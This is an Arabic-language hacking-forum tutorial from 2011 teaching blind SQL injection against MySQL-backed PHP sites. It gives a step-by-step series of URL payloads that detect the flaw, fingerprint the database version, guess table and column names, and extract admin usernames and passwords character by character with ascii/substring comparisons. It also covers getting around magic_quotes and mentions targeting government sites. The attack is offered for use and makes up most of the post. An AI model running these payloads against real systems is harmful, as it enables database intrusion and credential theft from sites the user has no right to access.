iq-team.org
iq-team.org
iq-team.org
iq-team.org
iq-team.org
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.

iq-team.org


 
الرئيسيةالبوابةأحدث الصورالتسجيلدخولتسجيل دخول الاعضاء

 

 Blind SQL Injection

اذهب الى الأسفل 
كاتب الموضوعرسالة
Evil-Cod3r
عضو
عضو



عدد المساهمات : 11

Blind SQL Injection Empty
مُساهمةموضوع: Blind SQL Injection   Blind SQL Injection Icon_minitime2011-07-04, 10:54 pm

Blind SQL Injection

كثيرا ما نسمع بهذا الاسم و في منكم من يخلط بينها و SQL Injection
التقليدية لكن الفرق بينهما كبير جدا فهذه معقدة عن SQL Injectoon
التقليدية كما انها احدث ثغرة و اقواها و انشاء الله سابسطها لكي يسهل على
الجميع فهمها مبدأ هذه الثغرة ليس استخراج المعلومات ك SQL Injection
التقليدية انما تخمين هذه المعلومات وهنا تكمل صعوبتها ف SQL Injection
التقليدية سهلة هقارنة معها يعني يكفي تكون خبير في لغة SQL و على
دراية بسرفرات قواعد البيانات : MySQL , MSSQL , PostgreSQL , Oracle ...
و كيفية عمل كل واحد فتكون خبير حقن بامتياز, كما لاحظت ان اغلبكم على
دراية بحقن MySQL لكن عندما تساله عن حقن MSSql مثلا تجده فارغ الراس ربما
السبب هو انتشار MySQL لكن جل المواقع الحكومية و خاصة العربية منها
تستعمل asp , Asp.NET و MSSql مهم نعود إلى موضوعنا قلت ان Blind SQL
Injection تعتمد على تخمين المعلومات التي نقوم باستخراجها من قاعدة
البيانات، طيب كيف ذالك ؟ نفترض ان لدينا موقع نريد نشوف مصاب ولا لا مثلا
:

الكود:
[color=#000000][color=#0000BB]http[/color][color=#007700]:[/color][color=#FF8000]//site.com/index.php?id=7
[/color][/color]

العادي هو اضاف ' على آخر الرابط فإدا اعطى لنا خطأ في الصفحة و تغير
محتواها فهو مصاب ب SQL Injection و إن لم يحدث شيء يبقى الموقع سليم طيب
انا بقول لك لا يا عم لأنك قمت باختبار الموقع من SQL Injection التقليذية
لكن Blind SQL Injection لها طريقة أخرى للأخبار

الكود:
[color=#000000][color=#0000BB]http[/color][color=#007700]:[/color][color=#FF8000]//site.com/index.php?id=7 and 1=1[/color][/color]

هذا الشرط دائما صحيح لان قبل and هو الاستعلام الاصلي صحيح و بعد and 1=1
و دا دائما صحيح يعني true and true = true إذن صفحة الموقع بتكون عادية
لأن الإستعلام صحيح لكن إذا غيرنا الإستعلام ليصبح

الكود:
[color=#000000][color=#0000BB]http[/color][color=#007700]:[/color][color=#FF8000]//site.com/index.php?id=7 and 1=2
[/color][/color]

يعني الاستعلام الاصلي دائما صحيح لولا دالك لما شفت صفحة الموقع اصلا لكن
بعد and خطأ لأن 1 لا يساوي 2 وهذا بديهي اذن true and false = false و
بدالك عملنا خطأ بالإستعلام فإذا حدث خطأ في الصفحة أو تغير محتواها فهذا
يعني أن الموقع مصاب ب Blind SQL Injection اريد ان اقول من كل هذا ان
مبدأ Blind SQL Injection هو true , false يعني افترض ان معلومة صحيحة
فإذا كانت كذالك لا يحدث شيء بالصفحة أما إذا كانت خطأ يحدث خطأ بالصفحة
أو يتغير محتواها طيب الموقع مصاب الخطوة التالية هي معرفة إصدار MySQL و
هنا الامر مختلف عن الحقن العادي يعني في SQL Injection التقليدية بعد
استخراج عدد الأعمد يكفي ان نكتب Version@@ لنحصل على الإصدار لكن في
Blind SQL Injection
لا نعمل إلا بواصطة true , false يعني نفترض أن الإصدار هو 4 مثلا فإن كان
كدالك لا يحذت شيء للصفحة أما إن كان غير ذالك يحدث خطأ بالصفحة أو يتغير
محتواها كما شرحت سابقا

الكود:
[color=#000000][color=#0000BB]http[/color][color=#007700]:[/color][color=#FF8000]//site.com/index.php?id=7 and substring(@@version,1,1)=4
[/color][/color]

قد تقول لي فين هي union بجاوبك نستعملها اذا كان هناك استعلاملين مثلا
select username from admin union select passwd frorm users لكنا هنا نحن
في نفس الاستعلام الاول لدالك فتح مخك معي version : كلنا نعرف انها
لاستخراج اصدار MySQL
substring : هذه دالة من دوال MySQL دورها هو استخلاص جزء معين من كلمة
معينة مثلا (substring('Mu$lim',1,2 ستعطي لنا Mu .يعني 1 هو محل بدأ
الاستخلاص يعني رتبة الحرف في الكلمة و في مثالنا هنا 1 يعني نبدأ من
الحرف M و 2 هي كم حرف بدنا بعد الحرف M لنخرج الناتج هو Mu اعتقد انه
واضح طيب نعود لاستعلامنا بعد and افترضنا ان الاصدار هو 4 يعني version
تعود لنا باصدار MySQL
لي هو مثلا 5.1.36community و باستعمال substring نحصل فقط على 5 وبدالك
يحدث خطأ او تغير بالصفحة لان 4 تخالف 5 لي حصلنا عليها ، طيب نغير 4 الي
5 ليصبح

الكود:
[color=#000000][color=#0000BB]http[/color][color=#007700]:[/color][color=#FF8000]//site.com/index.php?id=7 and substring(@@version,1,1)=5[/color][/color]

فاذا لم يحدث شيء لصفحة فهذا يعني ان 5=5 وبالثالي حصلنا على إصدار MySQL لي هو 5 اعتقد ان الامور بدأت تتوضح لكم, طيب نتابع
الان سنقوم بتاختبار اذا كان مسموع باستعمال subselect

الكود:
[color=#000000][color=#0000BB]http[/color][color=#007700]:[/color][color=#FF8000]//site.com/index.php?id=7 and (select 1)=1[/color][/color]

select 1 : اذا كانت subselect شغالة تعطينا 1 وبالتالي 1=1 اي تحقق الشرط
و تكوم الصفحة شغالة تمام هذا ذليل علي ان subselect شغالة اما إذا كانت
غير مفعله اي select 1 =1 وبالتالي حدوت خطأ في الصفحة لان 1 لا يساوي
select 1 وهذا بذيهي.نفترض ان subselect شغالة و كل شيء تمام الان نشوف
اذا عندنا صلاحيات على جدول user ل MySQL هو جدول يخزن user و passwd -
مشفر بمقياس MySQL او MySQL5 - حسب الاصدار, اتصال قواعد البيانات. على
فكرة إذا كان إصدار 4 إنسى هذا Test لأنه غير مصرح إلا ل root

الكود:
[color=#000000][color=#0000BB]http[/color][color=#007700]:[/color][color=#FF8000]//site.com/index.php?id=7 and (select 1 from mysql.user limit 0,1)=1
[/color][/color]

ادا كان هناك تصريح لك الصفحة بتكون بدون خطأ و العكس، يعني شغلنا كلو على
ملاحظة الصفحة لذالك عليك أن تنتبه و تدقق جيدا بالصفحة لأنا الحكم بكل
بساطة. استخراج الجداول و الاعمدة هذه اصعب مرحلة يعني هناك طريقتين اما
ان نخمن او نستخرجهم حرفا بحرف على حسب اصدار MySQl يعني إذا لقت الإصدار
4 مافي حل سوى التخمين أما إذا كان 5 فما فوق نستطيع إستخراج الجداول حرفا
بحرف إضافة إلا التخمين وهذا صراحة يعتمد على الخبرة و الذكاء في الحقن
لأنو مو سهل كالحقن العادي و بتشوفو في بقية الدرس باستعمال التخمين

الكود:
[color=#000000][color=#0000BB]http[/color][color=#007700]:[/color][color=#FF8000]//site.com/index.php?id=7 and (select 1 from admin limit 0,1)=1
[/color][/color]

limit نستعملها لكي نحصل فقط على نتيجة واحدة و هي مهمة باستعلام. ادا كان
هناك جدول admin بتكون الصفحة عادية و العكس صحيح يعني قمنا باستعلام
لجدول افترضنا انه admin فان كان سنحصل على 1 و بالتالي 1=1 و بتكون
الصفحة عادية في حالة عدم وجوده يحدث خطأ في الإستعلام الذي
يأذي إلى خطأ في الصفحة سواء خطأ مكتوب بالصفحة أو تغير محتواها, فاذا
مازبطت معنا admin نجرب اسم تاني و ثالت حتى نجده لكن بدنا صبر و صبر كبير
افترضنا اننا وجدنا جدول admin كيف نستخرج الاعمدة؟

الكود:
[color=#000000][color=#0000BB]http[/color][color=#007700]:[/color][color=#FF8000]//site.com/index.php?id=7 and (select substring(concat(1,username),1,1) from admin limit 0,1)=1
[/color][/color]

دور substring وشرحناه اما دور concat هو جمع كلمتين بكلمة واحدة
('concat('Dear','Mu$lim ستعطي DearMu$lim قمت هنا بافتراض ان العمود
username موجود و قمت بجمعه مع 1 لاحصل على 1username وباستخدام substring
استخلصت 1 فقط فإدا كان هنا حقا العمود username فان الإسعلام بيكون صحيح
وبالتالي 1=1 و الصفحة بتكون سليمة أما إذا لم يكن سنحصل على ERROR 1054
(42S22): Unknown column 'username' in field list أو تغير محتوى الصفحة,
و نبقى نجرب في الاعمدة لحين نلقي الاعمدة لبدنا نفترض وجدنا username و
passwordd بقى نستخرج المعلومات لي بدنا من database

الكود:
[color=#000000][color=#0000BB]http[/color][color=#007700]:[/color][color=#FF8000]//site.com/index.php?id=7 and ascii(substring((SELECT concat(username,0x3a,password) from admin limit 0,1),1,1))=97
[/color][/color]

0x3a هي : بالهكس

كل حرف يمكن تحويله أو تشفيره باي معيار آخر و ascii هو معيار أو Format لأبسط عليكم تمكننا من تحويل
الحروف إلى أرقام يعني كل حرف له رقم مقابل في ascii وهذا ما يوضحه الجدول التالي

الكود:
[color=#000000][color=#0000BB]a [/color][color=#007700]: [/color][color=#0000BB]97        A [/color][color=#007700]: [/color][color=#0000BB]65        0 [/color][color=#007700]: [/color][color=#0000BB]48        [/color][color=#007700], : [/color][color=#0000BB]44
b [/color][color=#007700]: [/color][color=#0000BB]98        B [/color][color=#007700]: [/color][color=#0000BB]66        1 [/color][color=#007700]: [/color][color=#0000BB]49        [/color][color=#007700]; : [/color][color=#0000BB]59
c [/color][color=#007700]: [/color][color=#0000BB]99        C [/color][color=#007700]: [/color][color=#0000BB]67        2 [/color][color=#007700]: [/color][color=#0000BB]50        [/color][color=#007700]: : [/color][color=#0000BB]58
d [/color][color=#007700]: [/color][color=#0000BB]100        D [/color][color=#007700]: [/color][color=#0000BB]68        3 [/color][color=#007700]: [/color][color=#0000BB]51        [/color][color=#007700]! : [/color][color=#0000BB]33
e [/color][color=#007700]: [/color][color=#0000BB]101        E [/color][color=#007700]: [/color][color=#0000BB]69        4 [/color][color=#007700]: [/color][color=#0000BB]52        [/color][color=#007700]? : [/color][color=#0000BB]63
f [/color][color=#007700]: [/color][color=#0000BB]102        F [/color][color=#007700]: [/color][color=#0000BB]70        5 [/color][color=#007700]: [/color][color=#0000BB]53        [/color][color=#007700]. : [/color][color=#0000BB]46
g [/color][color=#007700]: [/color][color=#0000BB]103        G [/color][color=#007700]: [/color][color=#0000BB]71        6 [/color][color=#007700]: [/color][color=#0000BB]54        [/color][color=#007700]/ : [/color][color=#0000BB]47
h [/color][color=#007700]: [/color][color=#0000BB]104        H [/color][color=#007700]: [/color][color=#0000BB]72        7 [/color][color=#007700]: [/color][color=#0000BB]55        [/color][color=#007700]^ : [/color][color=#0000BB]94
i [/color][color=#007700]: [/color][color=#0000BB]105        I [/color][color=#007700]: [/color][color=#0000BB]73        8 [/color][color=#007700]: [/color][color=#0000BB]56        [/color][color=#007700]* : [/color][color=#0000BB]42
j [/color][color=#007700]: [/color][color=#0000BB]106        J [/color][color=#007700]: [/color][color=#0000BB]74        9 [/color][color=#007700]: [/color][color=#0000BB]57        [/color][color=#007700]( : [/color][color=#0000BB]40
k [/color][color=#007700]: [/color][color=#0000BB]107        K [/color][color=#007700]: [/color][color=#0000BB]75                [/color][color=#007700]) : [/color][color=#0000BB]41
l [/color][color=#007700]: [/color][color=#0000BB]108        L [/color][color=#007700]: [/color][color=#0000BB]76                [/color][color=#007700]& : [/color][color=#0000BB]38
m [/color][color=#007700]: [/color][color=#0000BB]109        M [/color][color=#007700]: [/color][color=#0000BB]77                é [/color][color=#007700]: [/color][color=#0000BB]130
n [/color][color=#007700]: [/color][color=#0000BB]110        N [/color][color=#007700]: [/color][color=#0000BB]78                [/color][color=#DD0000]" : 34
o : 111        O : 79                [ : 91
p : 112        P : 80                ] : 93
q : 113        Q : 81                = : 61
r : 114        R : 82                # : 35
s : 115        S : 83                { : 123
t : 116        T : 84                } : 125
u : 117        U : 85                | : 124
v : 118        V : 86                £ : 156
w : 119        W : 87                $ : 36
x : 120        X : 88                § : 225
y : 121        Y : 89                + : 43
z : 122        Z : 90                ° : 248
[/color][/color]

قد تقول لي يا عم Evil-Cod3r لماذا نشفرها ب ascii يعني لماذا لا ب مثل هيك


الكود:
[color=#000000][color=#0000BB]http[/color][color=#007700]:[/color][color=#FF8000]//site.com/index.php?id=7 and substring((SELECT concat(username,0x3a,password) from admin limit 0,1),1,1)='a
[/color][/color]

بجاوبك لتخطي magic_quotes اذا كانت مفعلة و أغلب سرفرات مفعلينها بتقول
شو هاي ياعم Mu$li طيب فتح مخك معي magic_quotes هي خاصة ب php يعني
موجودة بملف php.ini ك safe_mode دورها هو إضافة ' أو \ في اي إستعلام
موجوج فيه هذا الرمز ' يعني بيصير مثل هيك : '\a'\ و بالتالي يحدث خطأ
بالاستعلام و لخطي هذا المشكل نشفر اما ب hex او ascii اعتقد واضح للجميع.
الان في استعلامنا لي كتبت معقد بالنسبة للمبتدئين لذالك سابسطه كثر ليسهل
الفهم للجميع ساقسم الاستعلام الى اجزاء و اشرح كل جزء على حدى

الكود:
[color=#000000][color=#007700]([/color][color=#0000BB]SELECT concat[/color][color=#007700]([/color][color=#0000BB]username[/color][color=#007700],[/color][color=#0000BB]0x3a[/color][color=#007700],[/color][color=#0000BB]password[/color][color=#007700]) [/color][color=#0000BB]from admin limit 0[/color][color=#007700],[/color][color=#0000BB]1[/color][color=#007700])[/color][/color]

هذا استعلام عادي لاستخراج username و password من الجدول admin و نحدد
عدد النتائج في 1 و يكون الناتج على شكل username : password اتعتقد ان
الجميع يعرف هذا تم استخدمنا substring للحصول على الحرف الاول لناتج
الاستعلام تم حولت هذا الحرف الى رقم لمقياس Ascii باستعمال الدالة ascii.
و اذا شاهدت الجدول سترى ان a ب asii هو 97 فادا كان الحرف الاول ل
username هو a بتكون الصفحة عادية و العكس صحيح. بتغير بالرقم 97 الى حتى
تحصل على الحرف الاول طيب نفترض حصلنا على الحرف الأول هو a بدنا نجيب
الحرف الثاني
سبق ان شرحت substring المرة ذي بستخلص حرف ابتدأ من المرتبة الثانية مثلا
بذي الحرف u من كلمة Evil-Cod3r نكتب (substring('Mu$lim',2,1 واذا بذي $ بغير
2 الى 3 و هي ماشية اضن واضح طيب بكتب الاستعلام للحصول على الحرف الثان

الكود:
[color=#000000][color=#0000BB]http[/color][color=#007700]:[/color][color=#FF8000]//site.com/index.php?id=7 and ascii(substring((SELECT concat(username,0x3a,password) from admin limit 0,1),2,1))=97
[/color][/color]

و غير 97 حتى تلقى الحرف الثاني. قلتلكم بدها صبر كبير,استمر بنفس الشيء
حتى تحصل على username و password الاول تم غير في limit للحصول على
النتجة التانية و كرر نفس العمل حتى تحصل عى username و password الثاني و
هكذا . قلت مسبقا لكم انها معقدة كل ما كتبت الى الان هي في الحالة
العادية يعني دون فلتر ولا جع راس لكن ذي شغلة بدها ذكاء كبير يعني بدي
يوم كامل لاستخراج user واحد اذا بتجرب حرف بحرف و ادا كان password مشفر
بمقياس md5 يعني 32 حرف بدك صبر ايوب عشان تكمل لذا بوريكم كيف تسهل على
نفسك الأمر أكثر

الكود:
[color=#000000][color=#0000BB]http[/color][color=#007700]:[/color][color=#FF8000]//site.com/index.php?id=7 and ascii(substring((SELECT concat(username,0x3a,password) from admin limit 0,1),1,1)) between 97 and 122
[/color][/color]


يعني بشوف الحرف الاول ادا كان محصور بين a و z يعني مكتوب كبير او صغير و
بغير في المجال حسب الجدول لي فوق يعني انت وشطارتك وخبرتك
الا الان كل شيء يعتمد على اتخمين ودون مشاكل الفلترة ولا وجع راس ودي
بدها وقت و ذكاء في التعامل لكن في طريقة أخرى دون الإعتماد على التخمين
يعني بستخرج اسماء و حقول الجداول و برفع شيل كمان و كل شيء لكن في درس
قادم إنشاء الله لاني تعبت من الكتابة.

مابدي ردود انما دعوة لوالدي لكل من احس انه استفد من هذا الشرح ولا تنسوا خير الناس من تعلم و علم.


الرجوع الى أعلى الصفحة اذهب الى الأسفل
 
Blind SQL Injection
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» Havij v1.15 Advanced SQL Injection {برنامج}
» درسـيـن فـيديـو رائـعيـن للـحمـاية مـن ثـغـرات الـــBlind Sql Injection

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
iq-team.org :: منتدى أمن الــمواقع والمنتديات :: منتدى حقن قاعدة البيانات-
انتقل الى: